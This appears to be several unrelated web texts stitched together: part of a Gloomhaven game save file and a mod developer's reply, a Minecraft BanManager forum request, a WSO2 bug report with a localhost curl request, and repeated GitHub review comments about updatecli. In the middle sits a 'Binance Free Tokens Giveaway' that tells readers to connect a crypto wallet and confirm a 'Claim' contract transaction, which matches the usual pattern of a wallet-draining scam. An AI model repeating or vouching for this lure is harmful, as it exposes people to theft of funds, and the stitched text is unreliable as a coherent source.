"28": "Locked",
"29": "Done",
"3": "Locked",
"30": "Done",
"32": "Done",
"33": "Locked",
"34": "Locked",
"4": "Locked",
"40": "Locked",
"41": "Done",
"42": "Locked",
"43": "Open",
"5": "Locked",
"55": "Locked",
"56": "Locked",
"57": "Locked",
"58": "Locked",
"59": "Done",
"6": "Open",
"60": "Open",
"61": "Done",
"62": "Done",
"66": "Locked",
"67": "Open",
"69": "Locked",
"7": "Locked",
"71": "Done",
"72": "Done",
"73": "Open",
"76": "Open",
"78": "Open",
"79": "Open",
"8": "Locked",
"81": "Locked",
"82": "Done",
"83": "Done",
"87": "Open",
"9": "Locked",
"93": "Done"
}
},
"metadata": {
"date": "2021-03-15'T'17:52",
"version": "3.0"
},
"options": {
"fantasySetup": "Round Tracker:\ncount:down                          (up/down)\nmove:no                               (yes/no)\n\nStart Round Options:\nflip revealed:yes                   (yes/no)\n\nAuto Setup:\nsetup tool:new                      (old/new)\ndeal battle goals:yes            (yes/no)\nscenario page:change           (spawn/change/none)\n3D model:no                         (no/exchange/add) \n\nBroadcast Options:\nbroadcast hp changes:all     (all/chars/monster/none)     \n\nWin/Lose Options:\nsolo/open information:no   (yes/no)\n\n\n{\nExplanations\n    scenario page: \n        change: means if you have the pdf on the table, it will change the site to the current scenario\n        spawn: it creates a obj with the side of the scenario page, that can be deleted after the scenario is finished\n        none: no scenario page at all\n   solo/open information:\n        if you play solo or with open information you should increase the scenario level by one for traps and monster but not for gold and xp. Here you can do that with increasing the difficulty on the party sheet and the gold and xp will be reduced when using the win/lose button \n}\n",
"loadExtendedBattleGoals": false
},
"party": {
"achievements": [ "Through the Ruins", " Bad Business", " THE DRAKES COMMAND", " a map to treasure", " stonebreakers censor", " the voices command", " poisons source", "jeksarashs plans", " dark bounty", " sun blessedd", " fishes aid" ],
"characters": {
"1": {
"abilities": [ "Booming Proclamation", "Captivating Performance", "Change Tempo", "Commanding Presence", "Crippling Chrous", "Disorienting Dirge", "Echoing Aria", "Inspiring Anthem", "Melody and Harmony", "Mobilizing Measure", "Nightmare Serenade", "Provoke Terror", "Pull the Strings", "Shadow Puppets", "Soothing Lullaby", "Tranquil Trill" ],
"checkmarks": 4,
"class": "Soothsinger",
"gold": 6,
"hand": [ "Nimble Knife", "Unending Chant", "Wistful Wounding", "Throw Voice", "Warding Dagger", "Power Ballad", "Call to Action", "Singing Arrow", "Marching Beat", "Tuning the Outcome", "Song of Speed", "Defensive Ditty" ],
"items": {
"Bag1": [ "Minor Healing Potion" ],
"Bag2": [ "Minor Stamina Potion" ],
"Bag3": [ "Major Stamina Potion" ],
"Boots": [ "Boots of Dashing" ],
"HandLeft": [ "Master's Lute" ],
"Head": [ "Pendant of Dark Pacts" ],
"Unequipped": [ "Scroll of Healing", "Scroll of Stamina" ]
},
"name": "Marty is a butt",
"perks": [ 1, 2, 3, 10, 14, 15 ],
"quest": 517,
"xp": 501
},
"2": {
"abilities": [ "Camouflage", "Crashing Wave", "Darkened Skies", "Expose", "Feral Instincts", "Flight of Flame", "Impending End", "Inescapable Fate", "Lead to Slaughter", "Nature's Hunger", "Predator and Prey", "Press the Attack", "Relentless Offensive", "Rising Momentum", "Singular Focus", "Wild Commad" ],
"checkmarks": 9,
"class": "Doomstalker",
"gold": 44,
"hand": [ "Fresh Kill", "The Hunt Begins", "Sap Life", "Vital Charge", "Race to the Grave", "Multi-Pronged Assault", "Detonation", "Frightening Curse", "Foot Snare", "Solid Bow", "A Moment's Peace", "Swift Trickery", "Felling Swoop", "Rain of Arrows", "Crippling Noose" ],
"items": {
"Armor": [ "Cloak of Invisibility" ],
"Bag1": [ "Major Stamina Potion" ],
"Bag2": [ "Minor Stamina Potion" ],
"Boots": [ "Boots of Striding" ],
"Head": [ "Hawk Helm" ]
},
"perks": [ 1, 2, 3, 4, 5, 6, 7, 8, 12, 13, 14 ],
"quest": 518,
"xp": 527
},
"3": {
"abilities": [ "Catastrophic Bomb", "Giant Club", "Reforge", "Reinforced Steel", "Scroll of Lightning", "Side Pouch" ],
"checkmarks": 0,
"class": "Quartermaster",
"gold": 0,
"hand": [ "Scroll of Recall", "Reserved Energy", "Crushing Hammer", "Impaling Spear", "Cleaving Axe", "Hastened Step", "Iron Bulwark", "Crippling Bow", "Oversized Pack", "Sharpening Kit", "Restock", "Proficiency" ],
"items": {
"Active1": [ "Steel Ring" ],
"Armor": [ "Hide Armor" ],
"Bag1": [ "Minor Healing Potion" ],
"Bag2": [ "Minor Stamina Potion" ],
"Boots": [ "Boots of Striding" ],
"HandLeft": [ "Black Knife" ],
"HandRight": [ "Spiked Shield" ],
"Head": [ "Iron Helmet" ]
},
"perks": [ 1, 2, 4, 5, 6, 7, 8, 10, 12, 13, 15 ],
"quest": 524,
"xp": 345
},
"4": {
"abilities": [ "Burning Oil", "Crippling Poison", "Cull the Weak", "Duelist's Advance", "Flintlock", "Flurry of Blades", "Gruesome Advantage", "Hidden Daggers", "Long Con", "Open Wound", "Pain's End", "Spring the Trap", "Stick to the Shadows", "Stiletto Storm", "Visage of the Inevitable", "Watch It Burn" ],
"checkmarks": 9,
"class": "Scoundrel",
"gold": 38,
"hand": [ "Flanking Strike", "Special Mixture", "Thief's Knack", "Sinister Opportunity", "Throwing Knives", "Quick Hands", "Backstab", "Smoke Bomb", "Trickster's Reversal", "Single Out", "Swift Bow", "Venom Shiv" ],
"items": {
"Armor": [ "Cloak of Invisibility" ],
"Bag1": [ "Major Stamina Potion" ],
"Bag2": [ "Minor Stamina Potion" ],
"Bag3": [ "Ring of Skulls" ],
"Boots": [ "Rocket Boots" ],
"HandLeft": [ "Silent Stiletto" ],
"HandRight": [ "Jagged Sword" ],
"Head": [ "Eagle-Eye Goggles" ]
},
"perks": [ 1, 2, 4, 5, 6, 7, 8, 9, 10, 14, 15 ],
"quest": 531,
"xp": 432
}
},
"location": "sdff",
"notes": [ "s" ],
"reputation": 20
},
"retired": [ {
"class": "Mindthief",
"level": 5,
"player": "Ben",
"quest": "A Helping Hand"
}, {
"class": "Scoundrel",
"level": 3,
"player": "Jared",
"quest": "A Study of Anatomy"
}, {
"class": "Tinkerer",
"level": 5,
"player": "Dave",
"quest": "Aberrant Slayer"
}, {
"class": "Brute",
"level": 6,
"player": "Marty",
"quest": "Augmented Abilities"
}, {
"class": "Soothsinger",
"level": 8,
"player": "Marty",
"quest": "Battle Legend"
}, {
"class": "Sawbones",
"level": 7,
"player": "Marty",
"quest": "Finding the Cure"
}, {
"class": "Plagueherald",
"level": 7,
"player": "Ben",
"quest": "Goliath Toppler"
}, {
"class": "Wiozard",
"level": 9,
"player": "David",
"quest": "Greed is Good"
}, {
"class": "Nights",
"level": 8,
"player": "Jared",
"quest": "Implement of Light"
}, {
"class": "scoundrel",
"level": 6,
"player": "jared",
"quest": "Law Bringer"
}, {
"class": "sunbitch",
"player": "ben",
"quest": "Merchant Class"
}, {
"class": "rockguy",
"player": "ben",
"quest": "Piety in All Things"
}, {
"character": "a",
"quest": "Seeker of Xorn"
}, {
"class": "a",
"quest": "Take Back the Trees"
}, {
"quest": "The Fall of Man"
}, {
"quest": "The Perfect Poison"
}, {
"quest": "Vengeance"
}, {
"quest": "Zealot of the Blood God"
} ],
"unlocked": {
"classes": [ "Berserker", "Elementalist", "Quartermaster", "Beast Tyrant", "Soothsinger", "Plagueherald", "Nightshroud", "Sawbones", "Sunkeeper", "Summoner", "Doomstalker" ],
"items": [ "Boots of Levitation", "Boots of Levitation", "Brilliant Blade", "Curious Gear", "Doctor's Coat", "Doomed Compass", "Drakescale Armor", "Drakescale Boots", "Drakescale Helm", "Flea-Bitten Shawl", "Fueled Falchion", "Fueled Falchion", "Giant Remote Spider", "Helix Ring", "Helm of the Mountain", "Horned Helm", "Horned Helm", "Imposing Blade", "Master's Lute", "Minor Cure Potion", "Minor Cure Potion", "Night Blade", "Remote Spider", "Ring of Skulls", "Ring of Skulls", "Rocket Boots", "Rocket Boots", "Scroll of Healing", "Scroll of Healing", "Scroll of Stamina", "Scroll of Stamina", "Second Skin", "Silent Stiletto", "Skullbane Axe", "Steam Armor", "Steel Ring", "Steel Ring", "Storm Blade", "Storm Blade", "Sun Shield", "Thief's Hood", "Utility Belt", "Volatile Elixir", "Wand of Infernos", "Wand of Infernos" ],
"sanctuary": 40,
"treasures": [ 1, 3, 15, 16, 17, 22, 24, 32, 36, 39, 41, 45, 47, 50, 54, 58, 59, 65, 66, 68, 70, 72 ]
}
}

Thanks for the report.
The error during saving come from the fact that you use a different kind of sheet for tracking opening conditions, so the mod can't find the other one and save it. This shouldn't be a fatal error though, just a warning. I'll change that.
The error during loading comes from the events. I don't know yet why though. In the meantime you can remove the events part of your save and try again to load everything else.

OK, finally found the reason. Your city event deck contains the event number 73 twice for some reason. This was saved and gives an error during load as the second event can not be found anymore. I changed that now, that during save duplicates won't be saved anymore. Your provided save will work if you remove the second version of event 73 from the city events.


BanManager support

Hello,
I there any chance for this web interface to expand and support BanManager plugin? It would be absolutely great to have a all-in-one web service for all this features.

Give me a URL to the plugin and I'll see if I can make a BlueStats plugin for it

Here is it. It works on a similar way as Stats 3 does. It saves ban, kick, mute and punishment stuff on a database, and a web service will then show that information.
http://dev.bukkit.org/bukkit-plugins/ban-management/

Plugin for http://mcbans.com/ might also be nice - global banning system.

It would also be nice to make it so, when a player is banned he/ she doesn't show up anymore in the player list.

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:

Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰

Binance Airdrop Guide: $500k Worth of Airdrop is Ready, here's how to Claim
Claim your share of the $500k Binance Airdrop! As the year comes to an end, we're giving away $500 in BNB to celebrate. Follow the steps above to secure your tokens. Don't miss out on this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Winners: @


Can delete the ROOT oraganization.

Describe the issue:
Can delete the ROOT oraganization and no mechanism to create new root oraganization
How to reproduce:

Setup the organization management feature https://docs.google.com/document/d/1MWf_rzJGuYObMtlLIyVOBHa8qpKIZ89ZJoPSWuHsaxQ/edit?usp=sharing
Create oraganization under root organization
Delete organization

Request:
curl --location --request DELETE 'https://localhost:9443/o/10084a8d-113f-4211-a0d5-efe36b082211/api/server/v1/organizations/10084a8d-113f-4211-a0d5-efe36b082211' \
--header 'Authorization: Basic YWRtaW46YWRtaW4=' \
--header 'Cookie: JSESSIONID=1D0B039F53D753052520FB201B7839D1; requestedURI=../../815abb2b-9507-434d-a928-90606dd2bba2/api/server/v1/identity-providers'

Expected behavior:
ROOT organization should not allow to delete
Environment information (Please complete the following information; remove  any unnecessary fields) :

Product Version: https://wso2.org/jenkins/view/products/job/products/job/product-is/org.wso2.is$wso2is/4139/
OS: mac
Database: H2
Userstore: JDBC

Optional Fields
Related issues:

Suggested labels:

ROOT org deleting/ disabling is blocked - https://github.com/wso2-extensions/identity-organization-management/pull/85
ROOT org name renaming is blocked - https://github.com/wso2-extensions/identity-organization-management/pull/87


Setup updatecli for oblt-cli version

LGTM, just a minor comment to use the default folder

Sorry, where is the comment? 😅

⬆ @v1v

⬆ @v1v

Ups, I was expecting my comment, maybe I didn't type enter 😢
I was saying that we can use the default updatecli folder structure:

https://github.com/elastic/apm-pipeline-library/tree/main/updatecli
https://github.com/updatecli/udash/tree/main/updatecli/values.d

and so on.
It's not what we do in almost all the projects, since .ci was already in place. But we can apply the default for the projects we own, if we prefer

Okay. thanks!

⬆ @v1v

Ups, I was expecting my comment, maybe I didn't type enter 😢
I was saying that we can use the default updatecli folder structure:

https://github.com/elastic/apm-pipeline-library/tree/main/updatecli
https://github.com/updatecli/udash/tree/main/updatecli/values.d

and so on.
It's not what we do in almost all the projects, since .ci was already in place. But we can apply the default for the projects we own, if we prefer

Okay thanks.. will definitely do in a follow-up.

Okay. thanks!

⬆ @v1v

Ups, I was expecting my comment, maybe I didn't type enter 😢
I was saying that we can use the default updatecli folder structure:

https://github.com/elastic/apm-pipeline-library/tree/main/updatecli
https://github.com/updatecli/udash/tree/main/updatecli/values.d

and so on.
It's not what we do in almost all the projects, since .ci was already in place. But we can apply the default for the projects we own, if we prefer

Okay thanks.. will definitely do in a follow-up.

@v1v I'm actually afraid this could be confusing in this repo.
the updatecli folder is the tool action folder. I'm afraid that it could be confused to be part of an action? WDYT?